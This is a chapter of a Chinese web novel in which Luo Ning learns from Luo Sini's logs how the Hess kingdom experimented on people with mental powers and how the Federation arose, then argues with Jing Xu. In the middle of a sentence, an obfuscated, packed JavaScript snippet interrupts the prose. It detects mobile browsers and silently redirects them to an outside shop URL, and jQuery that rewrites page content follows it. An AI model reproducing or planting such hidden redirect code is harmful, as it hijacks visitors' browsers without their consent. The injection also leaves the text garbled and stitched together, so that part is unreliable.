低价值。
洛宁在这行字上停了一下。
海斯在当时对“精神力”的评价并不高。
低价值,所以不值得被正式承认。低价值,所以经受了无穷无尽试验与刺激的人在拥有了控制精神力的能力后却被标注、被监控、被要求隐匿身份。
他们失去名字却换来了专属编号,活在一套专门为他们设计的封闭系统里。
但海斯仍需要进一步研究。
于是他们留着这批人,记录他们,并不断增添新人。
然而海斯对这批“异常实验体”的评价却始终没有变。大部分研究人员仍认为这种能力没有规模化应用的可能,投入产出比太低,不值得继续。
最终项目被降级。
洛斯尼在这一段的文档里骂得很脏,他不太得志,很多人也因为这个项目的“失败”就想踩在他的头上。他看不上这群鼠目寸光的人,却又不得不与之周旋。
洛宁在接下来的几页上快速扫了一眼,洛斯尼写得并没有那么详细,大概脱离了视线,也只剩下道听途说——
在那段漫长的内耗与斗争里,被同一张网罩住的人,开始悄悄摸索网的边界,摸着摸着,发现彼此之间的距离比想象中近得多。
那种被定义为低价值的能力,在他们自己手里开始变得不一样。
拥有者才会真正理解这种能力。
精神力在无人关注的地方悄然完善。
而海斯王国的缝隙越来越多,从里面漏出去的人也越来越多。
等海斯察觉到的时候,那批人已经带走了全部的研究资料,带走了技术,带走了彼此,消失在了茫茫宇宙中。
再次发现他们的踪迹时,他们已经建立了一个新的聚居地,并以不可思议的速度达成了与海斯几乎相差无几的文明高度。
洛宁没有说话。她忽然明白了她一直没太想通的逻辑。
联邦自己写的历史中,的确是以迁徙为始,但联邦始终封锁海斯存在的消息,建立、完善政权的过程中完全没有提到海斯。
洛宁又回头看了一眼会嘉,他超轻微幅度地摇了摇头——
别看我,我也不知道多少东西。
倒是景叙先开口:“上次在Zero-G,虽然你妈说不会和你讲,但她也说她管不了你的所想和所做。我不知道你自己能想明白多少事,可毕竟开了个口子,倒不如,我主动一点。”
“先不说这个。”洛宁没理他,反而看向洛斯尼,“你在你的日志里还造假啊?”
“我怎么造假了?我只是没有严格按照学术格式,当作日记随便写写。”
“当时的联邦人就这么厉害,自己卷着绝密资料跑了?”
“那咋啦!”
一阵沉默。
最后竟然还是没有表情、没有肢体动作的洛斯尼最先沉不住气,带着一股子憋屈的气:“…那又怎么了!他们值得拥有自主发展的自由!”
“没怎么,我就是觉着太好笑了。”洛宁双手撑着台子,但一想到这里面存着一个大叔或者老头的灵魂,她又失笑着往后撤了半步,“海斯拿人做实验,用完了又不负责到底,把人当耗材,等项目黄了又想着让他们自生自灭。你是职场失意,顶着理想和人性的旗号,干的是放手一搏,最终成了叛国。最初的联邦呢,本来是受害者,但又反过来画地为牢,去歧视没有精神力或者精神力不高的人,不敢让人知道来处,不敢让人知道没有精神力也可以当一等公民。你们互相害怕、忌惮,谁也不敢做太出格的事,但私下里又什么都敢做。太好笑了。”
她不是嘲讽,是真的觉得荒诞。
她不知道他们在固守什么,守业半天,守住了什么,又获得了什么。
客观来看,费尽力气守着一样东西,守到最后才发现,那样东西早就在守的过程里变成了另一个形状,已经不是当初想要的那个了。但手还是松不开,因为松开就意味着承认那些年白费了。
所以继续守,守着一个空的,让每个人都有事可做。
但似乎一切背后又都有一个“情有可原”。坏事从来不是凭空发生的,它总是有来由的,总是有一个"当时没有别的办法"垫在底下。
“我和你说不着这些!”
半晌,洛斯尼甩下一句话,屏幕熄灭。
洛宁向景叙微微耸肩,这对话可不是她终止的。
对方意愿很明确,不想再多说一句话,景叙也没办法,总不能把机器砸了。
回到正常的地方,景叙把门一关,叹了一声:“人老了,再加上和外界交流不多,听不得实话,总破防。”
“景叙元帅对实话的接受程度挺高的。”
“人得实事求是啊。”景叙好像从来不会生气似的,“但现实就是,有些错误可以被承认,有些不能。你习惯大家说实话、共享信息一起活下来,我们是说了实话反而危险,我们也只是各自遵守各自的游戏规则。”
“无所谓,那是你们的事。”洛宁全然放松下来,好奇心彻底得到了满足,但同时结果又不那么美好,心里有那么一丝空虚,不知道接下来该做什么,感觉却也没那么糟糕。
她甚至都不想问隆阿勒工业基地的“意外”是不是也与海斯人有关了,要不是因为不想在景叙跟前显得太亲近,她都想四仰八叉躺在椅子上。
“怎么样?”景叙也并没有今天不太愉快的谈话而有丝毫不满,他半坐在桌边,抱胸问对方,“还想继续在亲卫队待着吗?”
“待啊,凯还得在哪个角落坐牢呢。”
“挺讲义气。”景叙微微点头,“也许我不该把你和你妈看作天然同盟,你也有自己…”
“诶!”洛宁快速打断,“这是两码事,别挑拨离间。”
她自己也认真且不止一次地想过,联邦这堆人祸,她到底为什么要掺和进去。
托洛女士的福,她自诩有点良知,正义感有但不多,从没有过什么崇高理想,对联邦的感情连对洛女士的零头都没有,所以首先排除对普通人的同情和宏大但虚无缥缈的救世情结。可她也清楚,她的很多选择也并不完全因为洛女士。
想来想去,还是因为不甘心。
不甘心那个寂静无声、人不是人的世界本来有很大可能不必存在,不甘心本来不用整日吃不饱又担惊受怕,不甘心本已盖棺定论的死亡最终还是丧失了逆转的机会。
虽然总听人说不要美化不存在的路,但目前联邦这种情况,“本可以”是真的可以存在的,是实实在在被浪费掉的可能性。
也许最初的最初,他们怀着悲壮又自我感动的愿景不断出发前进,做好了一切准备,无论将要面临磨难、战斗、牺牲,他们勇敢且永不放弃,怀着对科学的探索精神,秉承着某种高贵的人本主义,他们自以为他们高级、优秀。他们斗志昂扬、激情澎湃,渴望拓展向外宇宙和向内人体的边界,也许有伪善,有人借理想之名为自己加冕,但论迹不论心。
然而这些渴望碰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238279|192717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到权力就立刻溃不成军。
从里面,慢慢地,悄无声息地,腐烂的气味从内飘出来。
每一代人都真诚地相信自己是例外,相信到了自己手里,事情会走向不同的方向。然后每一代人都用相似的方式辜负了这个相信。
不是因为他们有多坏,只是因为权力有它自己的语法,学会说这门语言的人,慢慢就忘了自己原来说什么话。
洛宁搓了搓手指,没再说话。
她不悲壮,也不激情澎湃,真就只是有点不甘心。
不甘心这个东西,不需要目标,不需要回报,甚至不需要讲得明白,比良知更模糊,比仇恨更持久,平时隐隐发作,必要时压过一切理智。
“这里并不太适合生活,但你可以随意逛逛。”景叙见她沉默,就主动说道,“不过和这里的人最好保持距离,他们…有些人会稍微偏激。”
“?”
洛宁觉得景叙有点陌生:“我还以为你会让我继续和洛斯尼折腾。”
“为了今后的潜在合作,既然现在使唤不动你,那就算了。”
“…你有这么随意?”
“强硬在很多时候都是下下策。再不走我就反悔了?”
洛宁迅速逃离景叙的办公室。
本来就没想当个称职的下属,既然给了坡她当然要下了。
大概走一圈,这边也没什么好玩的,她就安心宅在房间里了。
由于凯·曜森那边一直没消息,她就充当起了中间人,得让嘉芙汀安心。
嘉芙汀虽然被洗清了嫌疑,但家里也只剩下她一个了,琐碎又繁忙的善后工作也不能让她完全心无旁骛。
洛宁学着季明屿的样子,偶尔也会给嘉芙汀打几个视频,穿着景叙亲卫队的制服,让她放心自己打入其内部的权威,让她相信自己有能力罩着凯。
至于季明屿,上学的搭子突然消失,可能是闲得无聊,总是找洛宁聊天,也没什么正事可说,纯硬聊,联系次数远超和洛女士的。
如果在聊天记录里搜“在干嘛”、“吃什么”,能出来成百上千条结果。
有时候他会发过来一些莫名其妙的东西,一段课堂录音,一张不知道在哪拍的天空照,或者上课摸鱼时诡异角度的自拍。洛宁虽然不知道该说什么,但也都回了几个字。
不过季明屿也不在乎,过一会儿自己又发新的来了。
他这学期,大概也就剩这点空闲时间了。他马上就要去军区实践了,要被真实规则约束,接触真实的任务,说不定也会动不动就消失几天。
洛宁没法说自己在哪,他也无法透露自己的规划行迹,不过也挺好,不需要解释,不需要交代,郑重其事反而奇怪。
她也没和他说海斯的事,只是在和洛斯尼见面那天,消化了太多一时半会儿消化不完的东西,给他发了一串莫名其妙的省略号,也不知道为什么就发给他了。
他立刻打了个视频电话过来,背景是训练场的围栏和窗户外的灰白色的天,说了一些同样莫名其妙的话,绕着什么东西打转,又谁都没点破。
通话时间不长,他那边集合哨声响起。他侧头听了一下,就挂断走了。
但洛宁还记得屏幕暗掉之前映在黑色上的自己的脸,表情有点陌生。她把终端摘下放到一边。
飞地的夜很短,还没来得及彻底暗下去,边上已经开始漏出一点光。
洛宁在那个光里坐了一会儿,没有想什么,然后就去睡了。